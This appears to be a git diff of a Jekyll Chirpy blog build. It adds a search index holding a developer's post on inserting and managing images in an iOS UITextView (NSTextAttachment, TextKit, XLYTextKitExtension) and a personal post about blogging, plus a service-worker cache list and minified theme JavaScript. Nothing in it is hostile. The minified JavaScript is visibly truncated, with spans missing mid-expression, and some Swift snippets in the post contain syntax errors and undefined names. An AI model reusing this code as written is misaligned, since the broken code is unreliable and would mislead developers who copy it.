uses the UITextView component. Looking at the documentation, UITextView’s attributedText comes with an NSTextAttachment object that can attach images to achieve text wrapping effects. The code is also very simple:let imageAttachment = NSTextAttachment()imageAttachment.image = UIImage(named: \"example\")self.contentTextView.attributedText = NSAttributedString(attachment: imageAttachment)At first, I was quite happy thinking it was simple and convenient; but the problems were just beginning: Images need to be selectable & uploadable from local storage: This is easy to solve. For image selection, I used the TLPhotoPicker library (supports multiple image selection/custom settings/switching to camera mode/Live Photos). The specific approach is to convert PHAsset to UIImage after TLPhotoPicker’s callback and insert it into imageAttachment.image, then upload the image to the server in the background. Image upload needs to have effects and interactive operations (click to view the original image/click X to delete): Couldn’t achieve this, couldn’t find a way to do this with NSTextAttachment. However, it’s still possible to delete the image (press the “Back” key on the keyboard after the image to delete it), so let’s continue… Original image files are too large, slow to upload, slow to insert, and consume performance: Resize before inserting and uploading, using Kingfisher’s resizeTo. Insert images at the cursor position: Here, the original code needs to be modified as follows:let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0)let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText) // Get current contentcombination.insert(NSAttributedString(attachment: imageAttachment), at: range)self.contentTextView.attributedText = combination // Write back Image upload failure handling: Here, I need to mention that I actually wrote another class to extend the original NSTextAttachment, with the purpose of adding an attribute to store an identifier value.class UploadImageNSTextAttachment:NSTextAttachment { var uuid:String?}When uploading an image, change to:let id = UUID().uuidStringlet attachment = UploadImageNSTextAttachment()attachment.uuid = idOnce we can identify the corresponding NSTextAttachment, we can search for the NSTextAttachment in the attributedText for the failed upload image, find it, and replace it with an error icon or remove it directly.if let content = self.contentTextView.attributedText { content.enumerateAttributes(in: NSMakeRange(0, content.length), options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in if object.keys.contains(NSAttributedStringKey.attachment) { if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == \"targetID\" { attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30) attachment.image = UIImage(named: \"IconError\") let combination = NSMutableAttributedString(attributedString: content) combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment)) // To remove directly, use deleteCharacters(in: range) self.contentTextView.attributedText = combination } } }}After overcoming the above problem, the code will look like this:class UploadImageNSTextAttachment:NSTextAttachment { var uuid:String?}func dismissPhotoPicker(withTLPHAssets: [TLPHAsset]) { // TLPhotoPicker image picker callback let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0) // Get the cursor position, if none, start from the beginning guard withTLPHAssets.count > 0 else { return } DispatchQueue.global().async { in // Process in the background let orderWithTLPHAssets = withTLPHAssets.sorted(by: { $0.selectedOrder > $1.selectedOrder }) orderWithTLPHAssets.forEach { (obj) in if var image = obj.fullResolutionImage { let id = UUID().uuidString var maxWidth:CGFloat = 1500 var size = image.size if size.width > maxWidth { size.width = maxWidth size.height = (maxWidth/image.size.width) * size.height } image = image.resizeTo(scaledToSize: size) // Resize image let attachment = UploadImageNSTextAttachment() attachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height) attachment.uuid = id DispatchQueue.main.async { // Switch back to the main thread to update the UI and insert the image let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText) attachments.forEach({ (attachment) in combination.insert(NSAttributedString(string: \"\\n\"), at: range) combination.insert(NSAttributedString(attachment: attachment), at: range) combination.insert(NSAttributedString(string: \"\\n\"), at: range) }) self.contentTextView.attributedText = combination } // Upload image to server // Alamofire post or.... // POST image // if failed { if let content = self.contentTextView.attributedText { content.enumerateAttributes(in: NSMakeRange(0, content.length), options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in if object.keys.contains(NSAttributedStringKey.attachment) { if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == obj.key { // REPLACE: attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30) attachment.image = // ERROR Image let combination = NSMutableAttributedString(attributedString: content) combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment)) // OR DELETE: // combination.deleteCharacters(in: range) self.contentTextView.attributedText = combination } } } } //} // } } }}By now, most of the issues have been resolved. So, what troubled me for two weeks?Answer: “Memory” issuesiPhone 6 can’t handle it!When inserting more than 5 images using the above method, UITextView starts to lag; at a certain point, the app crashes due to memory overload.p.s. Tried various compression/other storage methods, but the result was the same.The suspected reason is that UITextView does not reuse NSTextAttachment for images, so all inserted images are loaded into memory and not released. Unless you’re inserting small images like emojis 😅, you can’t use it for text wrapping around images.Chapter 2After discovering this “hard” memory issue, I continued searching online for solutions and found the following alternatives: Use WebView to embed an HTML file (<div contentEditable=\"true\"></div>) and interact with WebView using JS. Use UITableView combined with UITextView for reuse. Extend UITextView based on TextKit 🏆The first method of embedding an HTML file in WebView was not considered due to performance and user experience concerns. Interested friends can search for related solutions on GitHub (e.g., RichTextDemo).The second method of using UITableView combined with UITextView:I implemented about 70% of it. Specifically, each line is a Cell, with two types of Cells: one for UITextView and one for UIImageView, with one line for text and one line for images. The content must be stored in an array to avoid disappearing during reuse.This method excellently solves the memory issue through reuse, but I eventually gave up due to the difficulty in controlling creating a new line and jumping to it when pressing Return at the end of a line and jumping to the previous line when pressing Backspace at the beginning of a line (and deleting the current line if it’s empty). These parts were very hard to control.Interested friends can refer to: MMRichTextEdit.Final ChapterBy this point, a lot of time had been spent, and the development schedule was severely delayed. The final solution was to use TextKit.Here are two articles for friends interested in researching further: Exploring TextKit Text Rendering Optimization from UITextViewHowever, there is a certain learning curve, which was too difficult for a novice like me. Moreover, time was running out, so I aimlessly searched GitHub for solutions.Finally, I found XLYTextKitExtension, which can be directly imported and used.✔ Allows NSTextAttachment to support custom UIViews, enabling any interactive operations.✔ NSTextAttachment can be reused without exhausting memory.The specific implementation is similar to Chapter 1, except that NSTextAttachment is replaced with XLYTextAttachment.For the UITextView to be used:contentTextView.setUseXLYLayoutManager()Tip 1: Change the insertion of NSTextAttachment to:let combine = NSMutableAttributedString(attributedString: NSAttributedString(string: \"\"))let imageView = UIView() // your custom viewlet imageAttachment = XLYTextAttachment { () -> UIView in return imageView}imageAttachment.id = idimageAttachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height)combine.append(NSAttributedString(attachment: imageAttachment))self.contentTextView.textStorage.insert(combine, at: range)Tip 2: Search for NSTextAttachment and replace withself.contentTextView.textStorage.enumerateAttribute(NSAttributedStringKey.attachment, in: NSRange(location: 0, length: self.contentTextView.textStorage.length), options: []) { (value, range, stop) in if let attachment = value as? XLYTextAttachment { //attachment.id }}Tip 3: Delete NSTextAttachment item and replace withself.contentTextView.textStorage.deleteCharacters(in: range)Tip 4: Get the current content lengthself.contentTextView.textStorage.lengthTip 5: Refresh the Bounds size of the AttachmentThe main reason is for user experience; when inserting an image, I will first insert a loading image, and the inserted image will be replaced after being compressed in the background. The Bounds of the TextAttachment need to be updated to the resized size.self.contentTextView.textStorage.addAttributes([:], range: range)(Add empty attributes to trigger refresh)Tip 6: Convert input content into transmittable textUse Tip 2 to search all input content and extract the IDs of the found Attachments, combining them into a format like [ [ID] ] for transmission.Tip 7: Content replacementself.contentTextView.textStorage.replaceCharacters(in: range, with: NSAttributedString(attachment: newImageAttachment))Tip 8: Use regular expressions to match the range of contentlet pattern = \"(\\\\[\\\\[image_id=){1}([0-9]+){1}(\\\\]\\\\]){1}\"let textStorage = self.contentTextView.textStorageif let regex = try? NSRegularExpression(pattern: pattern, options: .caseInsensitive) { while true { let range = NSRange(location: 0, length: textStorage.length) if let match = regex.matches(in: textStorage.string, options: .withTransparentBounds, range: range).first { let matchString = textStorage.attributedSubstring(from: match.range) //FINDED! } else { break } }}Note: If you need to search & replace items, you need to use a While loop. Otherwise, when there are multiple search results, after finding and replacing the first one, the range of the subsequent search results will be incorrect, causing a crash.ConclusionCurrently, I have completed the product using this method and it is online without any issues; I will explore the principles behind it when I have time!This article is more of a personal problem-solving experience sharing rather than a tutorial; if you are implementing similar functionality, I hope it helps you. Feel free to contact me with any questions or feedback. The first official post on MediumFurther Reading ZMarkupParser HTML String to NSAttributedString Tool The Story of Building a Handmade HTML ParserFeel free to contact me with any questions or feedback.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "First Post on Medium", "url": "/posts/b7a3fb3d5531/", "categories": "ZRealm, Life.", "tags": "blog, blogger, developer, life, medium", "date": "2018-10-06 12:53:36 +0800", "snippet": "The Beginning is Always the HardestIt has been over 4 years since I last managed a blog. The remaining ad revenue of US$88 has been stuck there. Recently, I discovered that I could request to cance...", "content": "The Beginning is Always the HardestIt has been over 4 years since I last managed a blog. The remaining ad revenue of US$88 has been stuck there. Recently, I discovered that I could request to cancel my Adsense account, and as long as I reach the minimum payout threshold, Google will give me the final payment. This has given me the motivation to start writing a blog again.Starting fresh, I chose the simple title “The Beginning is Always the Hardest” as a starting point.Reflecting on my history of blogging, it started around middle school when I was most obsessed with games. The family computer was very old and couldn’t run many games, but at that playful age, even if there were no games to play, I still had to turn on the computer every day. It was already very novel to me at that time.Due to the above factors, most of my computer time was spent chatting with classmates on instant messaging and browsing web pages. As you can imagine, it was quite empty and lacked a sense of accomplishment (at least others could gain a sense of accomplishment from playing games).At that time, “blogs” were very popular and very new to me. The first one I encountered was the once-popular Wretch.cc. When I created an account and opened my blog for the first time, I felt, “Wow! I have my own website,” and “Wow! I can change the style, so cool.” Coincidentally, the school’s computer class taught web design (Front-Page 2003/ Sheng’s Website), so my first blog was all about exploring the features, finding materials, playing with styles, and installing many “cool” JavaScript plugins. In contrast, the content quality was basically junk.This gave me a deeper understanding of the online world, such as how to find information, how to fix broken plugins, how to embed images, etc.Many of the resources were obtained from forums, which were also very popular at the time. However, I was a typical lurker who only read and rarely posted, occasionally replying with “Thanks for the generous share.” While browsing various forums, I discovered “free forums,” where you could become an admin and have your own forum just by signing up. This was a level higher than blogs, and being an “admin” was super cool!Combining the basics of playing with blog settings, forums had even more settings to play with (creating boards, member permissions, plugin centers). Everything could be set by yourself, like entering another world.There were many free forum systems, and I kept switching and trying them out. Some had incomplete features, some were not free, some were unstable, and some had too many ads. The one I remember most was Marlito, which best met my needs and was the one I managed the longest.At the same time, I moved my blog to “YouthWant Blog.” The reason was that Wretch.cc started imposing various restrictions, and YouthWant was just starting, with fewer restrictions and features that met my needs. This time, I focused on content, with 70% sharing useful software (similar to A-Rong’s Welfare) and 30% sharing forum experiences (settings/bug fixes).I wrote about 30 posts, with daily views around 200 and a peak of 500 (not much by today’s standards). I was in the top 10 of YouthWant’s blog rankings, with most traffic coming from posts sharing useful software. I managed it seriously for over a year, but then got busy with schoolwork in the third year of middle school and high school. Eventually, I joined a training program and left the blog idle.Due to the blog name being too cheesy, only a screenshot of the view count is shown.Later, I created another Blogger for technical articles, recording programming issues and solutions. However, Blogger was not user-friendly, and its basic features couldn’t meet my needs, so I gave up after a few posts.In the later stages, I applied for a domain and bought hosting to set up a WordPress blog. But everything had to be done by myself—setting up, adjusting features. I couldn’t focus on writing content, so it was also written intermittently. After the hosting expired, I didn’t renew it, and the website went offline until now.In summary, the journey from finding the concept of a Blog very novel -> to -> exploring and mastering Blog functionalities -> to -> focusing on the essence of the Blog - the content of the articles -> to -> sharing technical articlesLaziness, less recording of the process, reviewing, and sharing, and the allure of advertising revenue gradually led me further away from my original intention, the simple enthusiasm to share with everyone.https://www.flickr.com/photos/zuvonne/3738631215Set a new goal for myself, with teaching and learning as the original intention, start recording life anew! Technical aspects: iOS App development, Swift, PHP, Mysql… Life aspects: work, photography, unboxing, random murmurs Experience aspects: recently delving into machine learning, starting from scratch Story aspects: skills competition experiences, life observations This article is also published on my personal Blog: [Click here to visit]. For any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" } ] diff --git a/assets/js/data/swcache.js b/assets/js/data/swcache.js new file mode 100644 index 0000000000..05226ef611 --- /dev/null +++ b/assets/js/data/swcache.js @@ -0,0 +1 @@ +const resource = [ /* --- CSS --- */ '/assets/css/style.css', /* --- PWA --- */ '/app.js', '/sw.js', /* --- HTML --- */ '/index.html', '/404.html', '/categories/', '/tags/', '/archives/', '/about/', '/real/', '/contact/', /* --- Favicons & compressed JS --- */ '/assets/img/favicons/android-chrome-192x192.png', '/assets/img/favicons/android-chrome-512x512.png', '/assets/img/favicons/apple-touch-icon.png', '/assets/img/favicons/favicon-16x16.png', '/assets/img/favicons/favicon-32x32.png', '/assets/img/favicons/favicon.ico', '/assets/img/favicons/mstile-150x150.png', '/assets/img/favicons/safari-pinned-tab.svg', '/assets/js/dist/categories.min.js', '/assets/js/dist/commons.min.js', '/assets/js/dist/home.min.js', '/assets/js/dist/misc.min.js', '/assets/js/dist/page.min.js', '/assets/js/dist/post.min.js' ]; /* The request url with below domain will be cached */ const allowedDomains = [ 'en.zhgchg.li', 'fonts.gstatic.com', 'fonts.googleapis.com', 'cdn.jsdelivr.net', 'polyfill.io' ]; /* Requests that include the following path will be banned */ const denyUrls = []; diff --git a/assets/js/dist/categories.min.js b/assets/js/dist/categories.min.js new file mode 100644 index 0000000000..bebf80fcd0 --- /dev/null +++ b/assets/js/dist/categories.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function e(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function t(e,t){for(var r=0;re.length)&&(t=e.length);for(var r=0,o=new Array(t);r.row"),v=$("#topbar-title"),m=$("#search-wrapper"),g=$("#search-result-wrapper"),y=$("#search-results"),h=$("#search-input"),C=$("#search-hints"),w=$("html,body"),k="loaded",A="unloaded",S="input-focus",T="d-flex",j=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){t.offset=window.scrollY,w.scrollTop(0)}},{key:"off",value:function(){w.scrollTop(t.offset)}}]),t}();o(j,"offset",0),o(j,"resultVisible",!1);var E=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){f.addClass(A),v.addClass(A),d.addClass(A),m.addClass(T),p.addClass(k)}},{key:"off",value:function(){p.removeClass(k),m.removeClass(T),f.removeClass(A),v.removeClass(A),d.removeClass(A)}}]),t}(),O=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){j.resultVisible||(j.on(),g.removeClass(A),b.addClass(A),j.resultVisible=!0)}},{key:"off",value:function(){j.resultVisible&&(y.empty(),C.hasClass(A)&&C.removeClass(A),g.addClass(A),b.removeClass(A),j.off(),h.val(""),j.resultVisible=!1)}}]),t}();function x(){return p.hasClass(k)}var P=$(".collapse");var V,I;$(".code-header>button").children().attr("class"),V=$(window),I=$("#back-to-top"),V.on("scroll",(function(){V.scrollTop()>50?I.fadeIn():I.fadeOut()})),I.on("click",(function(){V.scrollTop(0)})),n(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(e){return new bootstrap.Tooltip(e)})),0!==i.length&&i.off().on("click",(function(e){var t=$(e.target),r=t.prop("tagName")==="button".toUpperCase()?t:t.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",c.toggle),$("#mask").on("click",c.toggle),d.on("click",(function(){E.on(),O.on(),h.trigger("focus")})),p.on("click",(function(){E.off(),O.off()})),h.on("focus",(function(){m.addClass(S)})),h.on("focusout",(function(){m.removeClass(S)})),h.on("input",(function(){""===h.val()?x()?C.removeClass(A):O.off():(O.on(),x()&&C.addClass(A))})),P.on("hide.bs.collapse",(function(){var e="h_"+$(this).attr("id").substring(2);e&&($("#".concat(e," .far.fa-folder-open")).attr("class","far fa-folder fa-fw"),$("#".concat(e," i.fas")).addClass("rotate"),$("#".concat(e)).removeClass("hide-border-bottom"))})),P.on("show.bs.collapse",(function(){var e="h_"+$(this).attr("id").substring(2);e&&($("#".concat(e," .far.fa-folder")).attr("class","far fa-folder-open fa-fw"),$("#".concat(e," i.fas")).removeClass("rotate"),$("#".concat(e)).addClass("hide-border-bottom"))}))}(); diff --git a/assets/js/dist/commons.min.js b/assets/js/dist/commons.min.js new file mode 100644 index 0000000000..97d930bfa4 --- /dev/null +++ b/assets/js/dist/commons.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function e(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function t(e,t){for(var r=0;re.length)&&(t=e.length);for(var r=0,n=new Array(t);r.row"),m=$("#topbar-title"),v=$("#search-wrapper"),y=$("#search-result-wrapper"),g=$("#search-results"),h=$("#search-input"),C=$("#search-hints"),w=$("html,body"),k="loaded",A="unloaded",S="input-focus",T="d-flex",j=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){t.offset=window.scrollY,w.scrollTop(0)}},{key:"off",value:function(){w.scrollTop(t.offset)}}]),t}();n(j,"offset",0),n(j,"resultVisible",!1);var E,O,x=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){c.addClass(A),m.addClass(A),d.addClass(A),v.addClass(T),p.addClass(k)}},{key:"off",value:function(){p.removeClass(k),v.removeClass(T),c.removeClass(A),m.removeClass(A),d.removeClass(A)}}]),t}(),P=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){j.resultVisible||(j.on(),y.removeClass(A),b.addClass(A),j.resultVisible=!0)}},{key:"off",value:function(){j.resultVisible&&(g.empty(),C.hasClass(A)&&C.removeClass(A),y.addClass(A),b.removeClass(A),j.off(),h.val(""),j.resultVisible=!1)}}]),t}();function V(){return p.hasClass(k)}E=$(window),O=$("#back-to-top"),E.on("scroll",(function(){E.scrollTop()>50?O.fadeIn():O.fadeOut()})),O.on("click",(function(){E.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(e){return new bootstrap.Tooltip(e)})),0!==l.length&&l.off().on("click",(function(e){var t=$(e.target),r=t.prop("tagName")==="button".toUpperCase()?t:t.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",f.toggle),$("#mask").on("click",f.toggle),d.on("click",(function(){x.on(),P.on(),h.trigger("focus")})),p.on("click",(function(){x.off(),P.off()})),h.on("focus",(function(){v.addClass(S)})),h.on("focusout",(function(){v.removeClass(S)})),h.on("input",(function(){""===h.val()?V()?C.removeClass(A):P.off():(P.on(),V()&&C.addClass(A))}))}(); diff --git a/assets/js/dist/home.min.js b/assets/js/dist/home.min.js new file mode 100644 index 0000000000..f8cd3f14e9 --- /dev/null +++ b/assets/js/dist/home.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var r=0;rt.length)&&(e=t.length);for(var r=0,n=new Array(e);r.row"),g=$("#topbar-title"),v=$("#search-wrapper"),y=$("#search-result-wrapper"),b=$("#search-results"),h=$("#search-input"),C=$("#search-hints"),w=$("html,body"),k="loaded",T="unloaded",j="input-focus",A="d-flex",S=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){e.offset=window.scrollY,w.scrollTop(0)}},{key:"off",value:function(){w.scrollTop(e.offset)}}]),e}();n(S,"offset",0),n(S,"resultVisible",!1);var x=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){f.addClass(T),g.addClass(T),d.addClass(T),v.addClass(A),m.addClass(k)}},{key:"off",value:function(){m.removeClass(k),v.removeClass(A),f.removeClass(T),g.removeClass(T),d.removeClass(T)}}]),e}(),E=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){S.resultVisible||(S.on(),y.removeClass(T),p.addClass(T),S.resultVisible=!0)}},{key:"off",value:function(){S.resultVisible&&(b.empty(),C.hasClass(T)&&C.removeClass(T),y.addClass(T),p.removeClass(T),S.off(),h.val(""),S.resultVisible=!1)}}]),e}();function F(){return m.hasClass(k)}$(".collapse");function O(t){t.parent().removeClass("shimmer")}$(".code-header>button").children().attr("class");var D,P,V,I=function(){function e(){t(this,e)}return r(e,null,[{key:"attrTimestamp",get:function(){return"data-ts"}},{key:"attrDateFormat",get:function(){return"data-df"}},{key:"locale",get:function(){return $("html").attr("lang").substring(0,2)}},{key:"getTimestamp",value:function(t){return Number(t.attr(e.attrTimestamp))}},{key:"getDateFormat",value:function(t){return t.attr(e.attrDateFormat)}}]),e}();D=$(window),P=$("#back-to-top"),D.on("scroll",(function(){D.scrollTop()>50?P.fadeIn():P.fadeOut()})),P.on("click",(function(){D.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(t){return new bootstrap.Tooltip(t)})),0!==l.length&&l.off().on("click",(function(t){var e=$(t.target),r=e.prop("tagName")==="button".toUpperCase()?e:e.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",c.toggle),$("#mask").on("click",c.toggle),d.on("click",(function(){x.on(),E.on(),h.trigger("focus")})),m.on("click",(function(){x.off(),E.off()})),h.on("focus",(function(){v.addClass(j)})),h.on("focusout",(function(){v.removeClass(j)})),h.on("input",(function(){""===h.val()?F()?C.removeClass(T):E.off():(E.on(),F()&&C.addClass(T))})),dayjs.locale(I.locale),dayjs.extend(window.dayjs_plugin_localizedFormat),$("[".concat(I.attrTimestamp,"]")).each((function(){var t=dayjs.unix(I.getTimestamp($(this))),e=t.format(I.getDateFormat($(this)));$(this).text(e),$(this).removeAttr(I.attrTimestamp),$(this).removeAttr(I.attrDateFormat);var r=$(this).attr("data-bs-toggle");if(void 0!==r&&"tooltip"===r){var n=t.format("llll");$(this).attr("data-bs-title",n),new bootstrap.Tooltip($(this))}})),(V=$("#core-wrapper img[data-src]")).length<=0||(document.addEventListener("lazyloaded",(function(t){O($(t.target))})),V.each((function(){$(this).hasClass("ls-is-cached")&&O($(this))})))}(); diff --git a/assets/js/dist/misc.min.js b/assets/js/dist/misc.min.js new file mode 100644 index 0000000000..f365a6f1be --- /dev/null +++ b/assets/js/dist/misc.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var r=0;rt.length)&&(e=t.length);for(var r=0,n=new Array(e);r.row"),v=$("#topbar-title"),g=$("#search-wrapper"),y=$("#search-result-wrapper"),b=$("#search-results"),h=$("#search-input"),C=$("#search-hints"),k=$("html,body"),w="loaded",T="unloaded",j="input-focus",A="d-flex",S=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){e.offset=window.scrollY,k.scrollTop(0)}},{key:"off",value:function(){k.scrollTop(e.offset)}}]),e}();n(S,"offset",0),n(S,"resultVisible",!1);var x=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){f.addClass(T),v.addClass(T),d.addClass(T),g.addClass(A),m.addClass(w)}},{key:"off",value:function(){m.removeClass(w),g.removeClass(A),f.removeClass(T),v.removeClass(T),d.removeClass(T)}}]),e}(),E=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){S.resultVisible||(S.on(),y.removeClass(T),p.addClass(T),S.resultVisible=!0)}},{key:"off",value:function(){S.resultVisible&&(b.empty(),C.hasClass(T)&&C.removeClass(T),y.addClass(T),p.removeClass(T),S.off(),h.val(""),S.resultVisible=!1)}}]),e}();function F(){return m.hasClass(w)}$(".collapse");$(".code-header>button").children().attr("class");var O,D,P=function(){function e(){t(this,e)}return r(e,null,[{key:"attrTimestamp",get:function(){return"data-ts"}},{key:"attrDateFormat",get:function(){return"data-df"}},{key:"locale",get:function(){return $("html").attr("lang").substring(0,2)}},{key:"getTimestamp",value:function(t){return Number(t.attr(e.attrTimestamp))}},{key:"getDateFormat",value:function(t){return t.attr(e.attrDateFormat)}}]),e}();O=$(window),D=$("#back-to-top"),O.on("scroll",(function(){O.scrollTop()>50?D.fadeIn():D.fadeOut()})),D.on("click",(function(){O.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(t){return new bootstrap.Tooltip(t)})),0!==l.length&&l.off().on("click",(function(t){var e=$(t.target),r=e.prop("tagName")==="button".toUpperCase()?e:e.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",c.toggle),$("#mask").on("click",c.toggle),d.on("click",(function(){x.on(),E.on(),h.trigger("focus")})),m.on("click",(function(){x.off(),E.off()})),h.on("focus",(function(){g.addClass(j)})),h.on("focusout",(function(){g.removeClass(j)})),h.on("input",(function(){""===h.val()?F()?C.removeClass(T):E.off():(E.on(),F()&&C.addClass(T))})),dayjs.locale(P.locale),dayjs.extend(window.dayjs_plugin_localizedFormat),$("[".concat(P.attrTimestamp,"]")).each((function(){var t=dayjs.unix(P.getTimestamp($(this))),e=t.format(P.getDateFormat($(this)));$(this).text(e),$(this).removeAttr(P.attrTimestamp),$(this).removeAttr(P.attrDateFormat);var r=$(this).attr("data-bs-toggle");if(void 0!==r&&"tooltip"===r){var n=t.format("llll");$(this).attr("data-bs-title",n),new bootstrap.Tooltip($(this))}}))}(); diff --git a/assets/js/dist/page.min.js b/assets/js/dist/page.min.js new file mode 100644 index 0000000000..dcce2dff72 --- /dev/null +++ b/assets/js/dist/page.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var n=0;nt.length)&&(e=t.length);for(var n=0,r=new Array(e);n.row"),v=$("#topbar-title"),g=$("#search-wrapper"),b=$("#search-result-wrapper"),h=$("#search-results"),y=$("#search-input"),C=$("#search-hints"),w=$("html,body"),k="loaded",S="unloaded",A="input-focus",T="d-flex",E=function(){function e(){t(this,e)}return n(e,null,[{key:"on",value:function(){e.offset=window.scrollY,w.scrollTop(0)}},{key:"off",value:function(){w.scrollTop(e.offset)}}]),e}();r(E,"offset",0),r(E,"resultVisible",!1);var j=function(){function e(){t(this,e)}return n(e,null,[{key:"on",value:function(){f.addClass(S),v.addClass(S),d.addClass(S),g.addClass(T),p.addClass(k)}},{key:"off",value:function(){p.removeClass(k),g.removeClass(T),f.removeClass(S),v.removeClass(S),d.removeClass(S)}}]),e}(),x=function(){function e(){t(this,e)}return n(e,null,[{key:"on",value:function(){E.resultVisible||(E.on(),b.removeClass(S),m.addClass(S),E.resultVisible=!0)}},{key:"off",value:function(){E.resultVisible&&(h.empty(),C.hasClass(S)&&C.removeClass(S),b.addClass(S),m.removeClass(S),E.off(),y.val(""),E.resultVisible=!1)}}]),e}();function O(){return p.hasClass(k)}$(".collapse");var P=".code-header>button",V="fas fa-check",I="timeout",N="data-title-succeed",q="data-bs-original-title",z=2e3;function D(t){if($(t)[0].hasAttribute(I)){var e=$(t).attr(I);if(Number(e)>Date.now())return!0}return!1}function M(t){$(t).attr(I,Date.now()+z)}function U(t){$(t).removeAttr(I)}var B,J,L,Y=$(P).children().attr("class");function F(t){t.parent().removeClass("shimmer")}B=$(window),J=$("#back-to-top"),B.on("scroll",(function(){B.scrollTop()>50?J.fadeIn():J.fadeOut()})),J.on("click",(function(){B.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(t){return new bootstrap.Tooltip(t)})),0!==l.length&&l.off().on("click",(function(t){var e=$(t.target),n=e.prop("tagName")==="button".toUpperCase()?e:e.parent();modeToggle.flipMode(),n.trigger("blur")})),$("#sidebar-trigger").on("click",c.toggle),$("#mask").on("click",c.toggle),d.on("click",(function(){j.on(),x.on(),y.trigger("focus")})),p.on("click",(function(){j.off(),x.off()})),y.on("focus",(function(){g.addClass(A)})),y.on("focusout",(function(){g.removeClass(A)})),y.on("input",(function(){""===y.val()?O()?C.removeClass(S):x.off():(x.on(),O()&&C.addClass(S))})),(L=$("#core-wrapper img[data-src]")).length<=0||(document.addEventListener("lazyloaded",(function(t){F($(t.target))})),L.each((function(){$(this).hasClass("ls-is-cached")&&F($(this))}))),$(".popup")<=0||$(".popup").magnificPopup({type:"image",closeOnContentClick:!0,showCloseBtn:!1,zoom:{enabled:!0,duration:300,easing:"ease-in-out"}}),function(){if($(P).length){var t=new ClipboardJS(P,{target:function(t){return t.parentNode.nextElementSibling.querySelector("code .rouge-code")}});o(document.querySelectorAll(P)).map((function(t){return new bootstrap.Tooltip(t,{placement:"left"})})),t.on("success",(function(t){t.clearSelection();var e=t.trigger;D(e)||(!function(t){$(t).children().attr("class",V)}(e),function(t){var e=$(t).attr(N);$(t).attr(q,e).tooltip("show")}(e),M(e),setTimeout((function(){!function(t){$(t).tooltip("hide").removeAttr(q)}(e),function(t){$(t).children().attr("class",Y)}(e),U(e)}),z))}))}$("#copy-link").on("click",(function(t){var e=$(t.target);D(e)||navigator.clipboard.writeText(window.location.href).then((function(){var t=e.attr(q),n=e.attr(N);e.attr(q,n).tooltip("show"),M(e),setTimeout((function(){e.attr(q,t),U(e)}),z)}))}))}()}(); diff --git a/assets/js/dist/post.min.js b/assets/js/dist/post.min.js new file mode 100644 index 0000000000..916e3678cd --- /dev/null +++ b/assets/js/dist/post.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var 